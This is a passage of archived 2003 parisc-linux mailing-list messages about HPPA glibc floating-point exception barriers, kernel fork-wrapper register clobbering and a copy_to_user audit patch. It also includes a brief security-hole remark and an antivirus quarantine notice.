In-Reply-To: <200308231612.MAA21233@hiauly3.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19410

> 
> Yes.  If you follow the thread that I sent you, Jim Hull comments on
> this and offers a rewrite of the sentence that you quoted.  I believe
> that referencing memory is important as this makes the operation visible
> to another processor.  A register->register operation doesn't do this.
> 

I implemented and tested 3 versions, fcpy doesn't work on my c3k, but
the fstd and fldd does. Any recommendations on which to take. I'm
tempted to leave all this in and send the patch like this upstream, so I
don't forget what the other versions looked like :)

Comments welcome.

c.


diff -u -p -r1.4 fraiseexcpt.c
--- libc/sysdeps/hppa/fpu/fraiseexcpt.c	10 Sep 2002 01:26:37 -0000	1.4
+++ libc/sysdeps/hppa/fpu/fraiseexcpt.c	30 Aug 2003 16:35:48 -0000
@@ -22,9 +22,27 @@
 #include <float.h>
 #include <math.h>
 
+/* We implement three methods for flushing delayed exceptions. The first
+   is an interlocked register copy with the destination register of the 
+   trapping insn. This method is not recommended, and may not work in all
+   situations. The last two, either loading or storing a value from memory
+   into the destination register of the trapping insn will work, here we
+   choose to store the value to memory.
+  
+   Please see section 10, 
+   page 10-5 "Delayed Trapping" in the PA-RISC 2.0 Architecture manual */
+
+#undef BARRIER_FCPY
+#define BARRIER_FSTD
+#undef BARRIER_FLDD
+
 int
 feraiseexcept (int excepts)
 {
+  /* Provides a place to fake our write for flushing the delayed trap */
+   double dmem = 0;
+   double * pmem = &dmem;
+	
   /* Raise exceptions represented by EXCEPTS.  But we must raise only one
      signal at a time.  It is important that if the overflow/underflow
      exception and the divide by zero exception are given at the same
@@ -33,26 +51,49 @@ feraiseexcept (int excepts)
 
   /* We do these bits in assembly to be certain GCC doesn't optimize
      away something important, and so we can force delayed traps to
-     occur.  */
-
-  /* FIXME: These all need verification! */
+     occur. */
 
   /* First: invalid exception.  */
   if (excepts & FE_INVALID)
     {
       /* One example of a invalid operation is 0 * Infinity.  */
       double d = HUGE_VAL;
-      __asm__ __volatile__ ("fmpy,dbl %1,%%fr0,%0\n\t"
-			    /* FIXME: is this a proper trap barrier? */
-			    "fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0" (d));
+      __asm__ __volatile__ (
+		"	fmpy,dbl %0,%%fr0,%0\n"
+#ifdef BARRIER_FCPY
+		"	fcpy,dbl %0,%1"
+		: "+f" (d), "=f" (dmem)
+#endif
+#ifdef BARRIER_FSTD
+		"	fstd,dbl %0,%1"
+		: "+f" (d), "=m" (*pmem)
+#endif
+#ifdef BARRIER_FLDD
+		"	fldd,dbl 0(%%sr0,%%sp),%0"
+		: "+f" (d)
+#endif
+	);
     }
 
   /* Next: division by zero.  */
   if (excepts & FE_DIVBYZERO)
     {
       double d = 1.0;
-      __asm__ __volatile__ ("fdiv,dbl %1,%%fr0,%0\n\t"
-			    "fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0" (d));
+      __asm__ __volatile__ (
+		"	fdiv,dbl %0,%%fr0,%0\n"
+#ifdef BARRIER_FCPY		
+		"	fcpy,dbl %0,%1"
+		: "+f" (d), "=f" (dmem)
+#endif
+#ifdef BARRIER_FSTD
+		"	fstd,dbl %0,%1"
+		: "+f" (d), "=m" (*pmem)
+#endif
+#ifdef BARRIER_FLDD
+		"	fldd,dbl 0(%%sr0,%%sp),%0"
+		: "+f" (d)
+#endif		
+	);
     }
 
   /* Next: overflow.  */
@@ -61,8 +102,21 @@ feraiseexcept (int excepts)
     {
       double d = DBL_MAX;
 
-      __asm__ __volatile__ ("fmpy,dbl %1,%1,%0\n\t"
-			    "fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0" (d));
+      __asm__ __volatile__ (
+		"	fmpy,dbl %0,%0,%0\n"
+#ifdef BARRIER_FCPY		
+		"	fcpy,dbl %0,%1"
+		: "+f" (d), "=f" (dmem)
+#endif
+#ifdef BARRIER_FSTD
+		"	fstd,dbl %0,%1"
+		: "+f" (d), "=m" (*pmem)
+#endif
+#ifdef BARRIER_FLDD
+		"	fldd,dbl 0(%%sr0,%%sp),%0"
+		: "+f" (d)
+#endif		
+	);
     }
 
   /* Next: underflow.  */
@@ -71,8 +125,23 @@ feraiseexcept (int excepts)
       double d = DBL_MIN;
       double e = 69.69;
 
-      __asm__ __volatile__ ("fdiv,dbl %1,%2,%0\n\t"
-			    "fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0" (d), "f" (e));
+      __asm__ __volatile__ (
+#ifdef BARRIER_FCPY		
+		"	fdiv,dbl %0,%2,%0\n"
+		"	fcpy,dbl %0,%1"
+		: "+f" (d), "=f" (dmem) : "f" (e)
+#endif
+#ifdef BARRIER_FSTD
+		"	fdiv,dbl %0,%2,%0\n"
+		"	fstd,dbl %0,%1"
+		: "+f" (d), "=m" (*pmem) : "f" (e)
+#endif
+#ifdef BARRIER_FLDD
+		"	fdiv,dbl %0,%1,%0\n"
+		"	fldd,dbl 0(%%sr0,%%sp),%0"
+		: "+f" (d) : "f" (e)
+#endif		
+	);
     }
 
   /* Last: inexact.  */
@@ -81,8 +150,23 @@ feraiseexcept (int excepts)
       double d = 1.0;
       double e = M_PI;
 
-      __asm__ __volatile__ ("fdiv,dbl %1,%2,%0\n\t"
-			    "fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0" (d), "f" (e));
+      __asm__ __volatile__ (
+#ifdef BARRIER_FCPY		
+		"	fdiv,dbl %0,%2,%0\n"
+		"	fcpy,dbl %0,%1"
+		: "+f" (d), "=f" (dmem) : "f" (e)
+#endif
+#ifdef BARRIER_FSTD
+		"	fdiv,dbl %0,%2,%0\n"
+		"	fstd,dbl %0,%1"
+		: "+f" (d), "=m" (*pmem) : "f" (e)
+#endif
+#ifdef BARRIER_FLDD
+		"	fdiv,dbl %0,%1,%0\n"
+		"	fldd,dbl 0(%%sr0,%%sp),%0"
+		: "+f" (d) : "f" (e)
+#endif		
+	);
     }
 
   /* Success.  */


From - Thu Nov 08 21:29:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly3.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [glibc] fixing delayed exceptions in hppa
Date: Sat, 30 Aug 2003 18:54:45 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200308302254.SAA01088@hiauly3.hia.nrc.ca>
References: <20030830163732.GG5194@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622746 30576 80.91.229.3 (22 Nov 2014 02:19:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, dave.anglin@nrc-cnrc.gc.ca,
	willy@debian.org
To: carlos@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 30 16:54:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly3.hia.nrc.ca (hiauly3.hia.nrc.ca [132.246.100.195])
	by dsl2.external.hp.com (Postfix) with ESMTP id 266024831
	for <parisc-linux@lists.parisc-linux.org>; Sat, 30 Aug 2003 16:54:47 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly3.hia.nrc.ca (8.9.3 (PHNE_26305+JAGae58098)/8.9.3) id SAA01088;
	Sat, 30 Aug 2003 18:54:45 -0400 (EDT)
In-Reply-To: <20030830163732.GG5194@systemhalted> from Carlos O'Donell at Aug "30," 2003 "12:37:33" pm
X-Mailer: ELM []
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19411

> > Yes.  If you follow the thread that I sent you, Jim Hull comments on
> > this and offers a rewrite of the sentence that you quoted.  I believe
> > that referencing memory is important as this makes the operation visible
> > to another processor.  A register->register operation doesn't do this.
> > 
> 
> I implemented and tested 3 versions, fcpy doesn't work on my c3k, but
> the fstd and fldd does. Any recommendations on which to take. I'm
> tempted to leave all this in and send the patch like this upstream, so I
> don't forget what the other versions looked like :)

The FSTD barrier looks fine to me.  The fcpy version doesn't work, so
I wouldn't keep it around.  You might add a comment that fcpy doesn't
work on at least some implementations.

Dave


From - Thu Nov 08 21:29:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Security Hole in binfmt_som.c ?
Date: Sun, 31 Aug 2003 00:33:00 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <1062286379.31332.6.camel__16908.7854250849$1416622746$gmane$org@dhcp23.swansea.linux.org.uk>
References: <3F509BBD.2040007@hrzpub.tu-darmstadt.de>
	 <20030830131541.GI13467@parcelfarce.linux.theplanet.co.uk>
	 <1062251389.31150.4.camel@dhcp23.swansea.linux.org.uk>
	 <20030830135933.GJ13467@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622746 30581 80.91.229.3 (22 Nov 2014 02:19:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:06 +0000 (UTC)
Cc: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>,
	parisc-linux@lists.parisc-linux.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 30 17:33:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk (pc1-cwma1-5-cust4.swan.cable.ntl.com [80.5.120.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E7A94865
	for <parisc-linux@lists.parisc-linux.org>; Sat, 30 Aug 2003 17:33:55 -0600 (MDT)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.9/8.12.9) with ESMTP id h7UNX1ra031871;
	Sun, 31 Aug 2003 00:33:01 +0100
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.9/8.12.9/Submit) id h7UNX1K2031869;
	Sun, 31 Aug 2003 00:33:01 +0100
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20030830135933.GJ13467@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.4.4 (1.4.4-4) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19412

On Sad, 2003-08-30 at 14:59, Matthew Wilcox wrote:
> Um, I can't find it, and neither can Google:
> http://www.google.com/search?q=binfmt_som+security&as_q=%5Bparisc-linux&btnG=Google+Search&as_sitesearch=lists.parisc-linux.org

Humm I thought it was on this list. Maybe lkml then

Whatever the basic problem is we have kernel loaders and
user threads sharing a file table unsafely



From - Thu Nov 08 21:29:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly3.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [glibc] tststatic failues, reduced to simple testcase.
Date: Sat, 30 Aug 2003 20:00:36 -0400 (EDT)
Lines: 48
Approved: news@gmane.org
Message-ID: <200308310000.UAA01375@hiauly3.hia.nrc.ca>
References: <20030830161504.GE5194@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622746 30584 80.91.229.3 (22 Nov 2014 02:19:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:06 +0000 (UTC)
Cc: randolph@tausq.org, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 30 18:00:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly3.hia.nrc.ca (hiauly3.hia.nrc.ca [132.246.100.195])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62962489A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 30 Aug 2003 18:00:39 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly3.hia.nrc.ca (8.9.3 (PHNE_26305+JAGae58098)/8.9.3) id UAA01375;
	Sat, 30 Aug 2003 20:00:36 -0400 (EDT)
In-Reply-To: <20030830161504.GE5194@systemhalted> from Carlos O'Donell at Aug "30," 2003 "12:15:04" pm
X-Mailer: ELM []
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19413

> On Fri, Aug 29, 2003 at 06:44:03PM -0400, John David Anglin wrote:
> > > > __asm(
> > > > 0x4000883c:     be,l 100(sr2,r0),%sr0,%r31
> > > > 0x40008840:     ldi 2,r20                    !! FORK !!
> > > > );
> > > > 0x40008844:     ldi -1000,r20 <--Corrupted--- r19 = 0x10106368
> > 
> > Looking at the kernel syscall code, it seems at first glance that
> > r19 is saved and restored.  Thus, the problem may be specific to fork.
> 
> The first place I went to was syscall.S and entry.S to see if r19 was
> saved and restored. It is infact saved and restored, _but_ there seems
> to be a case in the sys_fork_wrapper where r19 is written back as a temp
> slot (PT_XX struct).
> 
> linux-2.4/arch/parisc/kernel/entry.S
> 
>    2004         /* These are call-clobbered registers and therefore
>    2005            also syscall-clobbered (we hope). */
>    2006         STREG   %r2,PT_GR19(%r1)        /* save for child */
>    2007         STREG   %r30,PT_GR21(%r1)
> 
> This is done just before the call to 'sys_clone', but it's never used
> anywhere. The comment indicates that the author believed he had all
> right to use caller saves registers, and they should.

I don't fully understand this code but possibly PT_GR20 might be used
to save r2.  In the fork call for example, we know that this location
contains  __NR_fork.  This value gets restored to r20 in wrapper_exit.
I think the valued saved above is loaded into r2 here:

child_return:
	bl      schedule_tail, %r2
	nop

	LDREG   TASK_PT_GR19-TASK_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30),%r2
	b       wrapper_exit
	copy    %r0,%r28

I don't see where the %r30 value saved in PT_GR21 is used.

If a syscall is going to clobber registers, the appropriate clobbers
need to be added to the asm used for the syscall so that gcc doesn't
try to use these registers over the syscall.  Use of PT_GR19 appears
to have been a bad choice because of its special use in pic code.

Dave


From - Thu Nov 08 21:29:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ScanMail Message: To Sender virus found and action taken.
Date: Sat, 30 Aug 2003 20:13:34 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <046a01c36f54$b7e80cc0$2445440a@ipoutlet.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622747 30586 80.91.229.3 (22 Nov 2014 02:19:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:07 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 30 18:20:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from IPO-SRV-01 (fa0.borax.ipoutlet.net [69.1.192.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id C27B64895
	for <parisc-linux@parisc-linux.org>; Sat, 30 Aug 2003 18:20:42 -0600 (MDT)
Original-Received: from mail pickup service by IPO-SRV-01 with Microsoft SMTPSVC;
	 Sat, 30 Aug 2003 20:13:35 -0400
thread-index: AcNvVLflLnzXmEKTQB6koy9pVTvk0A==
Thread-Topic: ScanMail Message: To Sender virus found and action taken.
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-OriginalArrivalTime: 31 Aug 2003 00:13:35.0363 (UTC) FILETIME=[B8214530:01C36F54]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19414

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@parisc-linux.org
Recipient(s) = Alison Forche
Subject = Re: That movie
Scanning Time = 08/30/2003 20:13:34
Engine/Pattern = 6.510-1002/622

Action on virus found:
The attachment document_all.pif contains WORM_SOBIG.F virus. ScanMail has Moved it.  The attachment was moved to C:\Program Files\Trend\Smex\Virus\document_all3f513daee5.pif_.

Warning to sender. ScanMail has detected a virus in an email you sent.


From - Thu Nov 08 21:29:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [glibc] tststatic failues, reduced to simple testcase.
Date: Sun, 31 Aug 2003 11:29:00 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20030831152900.GI5194@systemhalted>
References: <200308292203.SAA03224@hiauly3.hia.nrc.ca> <200308292244.SAA29829@hiauly3.hia.nrc.ca> <20030830161504.GE5194@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622747 30587 80.91.229.3 (22 Nov 2014 02:19:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:07 +0000 (UTC)
Cc: randolph@tausq.org, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly3.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 31 09:30:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63A814848
	for <parisc-linux@lists.parisc-linux.org>; Sun, 31 Aug 2003 09:30:34 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19tU8T-0004E7-00; Sun, 31 Aug 2003 11:29:01 -0400
Content-Disposition: inline
In-Reply-To: <20030830161504.GE5194@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19415

> 
> Aflicted: sys_fork_wrapper, sys_clone_wrapper, sys_vfork_wrapper
> 
> I'm tempted to remove the store and load of call-clobbered registers
> from our syscall path, push them into the glibc wrappers, and see what 
> happens :)

What happens when your stack changes on the route back from the
syscall?

	stw r19, -32(sp)
	/* clone */
	ldw -32(sp), r19

Obviously I could add a "if parent then ldw -32(sp),r19", but the child,
not having the same stack would be hard pressed if r19 changed during
the syscall. Although, I think I see that in glibc the child's function
is called via $$dyncall and I assume that might fixup r19 for the child.

Do any other syscalls change the stack on return? I can only really
think of all the fork-ish type syscalls doing that sort of stuff.

c.


From - Thu Nov 08 21:29:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [ron@rongage.org: [Patchbomb] - Copy_to/from_user audit - oss4 - RESEND]
Date: Sun, 31 Aug 2003 16:39:57 +0100
Lines: 69
Approved: news@gmane.org
Message-ID: <20030831153957.GX13467@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622747 30591 80.91.229.3 (22 Nov 2014 02:19:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:07 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 31 09:39:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB366489B
	for <parisc-linux@parisc-linux.org>; Sun, 31 Aug 2003 09:39:58 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19tUJ3-0001td-OX
	for parisc-linux@parisc-linux.org; Sun, 31 Aug 2003 16:39:57 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19416

----- Forwarded message from Ron Gage <ron@rongage.org> -----

From: Ron Gage <ron@rongage.org>
To: kernel-janitor-discuss@lists.sourceforge.net
Subject: [Patchbomb] - Copy_to/from_user audit - oss4 - RESEND
User-Agent: KMail/1.5.2
Errors-To: kernel-janitor-discuss-admin@lists.sourceforge.net
X-BeenThere: kernel-janitor-discuss@lists.sourceforge.net
X-Mailman-Version: 2.0.9-sf.net
Precedence: bulk
List-Help: <mailto:kernel-janitor-discuss-request@lists.sourceforge.net?subject=help>
List-Post: <mailto:kernel-janitor-discuss@lists.sourceforge.net>
List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/kernel-janitor-discuss>,
	<mailto:kernel-janitor-discuss-request@lists.sourceforge.net?subject=subscribe>
List-Id: kernel janitor discussion list <kernel-janitor-discuss.lists.sourceforge.net>
List-Unsubscribe: <https://lists.sourceforge.net/lists/listinfo/kernel-janitor-discuss>,
	<mailto:kernel-janitor-discuss-request@lists.sourceforge.net?subject=unsubscribe>
List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum=kernel-janitor-discuss>
X-Original-Date: Sun, 31 Aug 2003 11:20:48 -0400
Date: Sun, 31 Aug 2003 11:20:48 -0400

This patch is also available on my ftp server
ftp://new.rongage.org/pub/linux

This patch catches insures proper return values from 
copy_to/from_user calls.

Ron Gage - Pontiac, MI

diff -urN linux-2.6.0-test4/sound/oss/harmony.c linux-2.6.0-test4-patched/sound/oss/harmony.c
--- linux-2.6.0-test4/sound/oss/harmony.c	2003-08-22 19:58:39.000000000 -0400
+++ linux-2.6.0-test4-patched/sound/oss/harmony.c	2003-08-29 22:02:42.000000000 -0400
@@ -725,7 +725,7 @@
                 info.fragments = MAX_BUFS - harmony.nb_filled_play;
 		info.fragsize = HARMONY_BUF_SIZE;
                 info.bytes = info.fragments * info.fragsize;
-		return copy_to_user((void *)arg, &info, sizeof(info));
+		return copy_to_user((void *)arg, &info, sizeof(info)) ? -EFAULT : 0 ;
 
 	case SNDCTL_DSP_GETISPACE:
 		if (!(file->f_mode & FMODE_READ))
@@ -734,7 +734,7 @@
                 info.fragments = /*MAX_BUFS-*/ harmony.nb_filled_record;
 		info.fragsize = HARMONY_BUF_SIZE;
                 info.bytes = info.fragments * info.fragsize;
-		return copy_to_user((void *)arg, &info, sizeof(info));
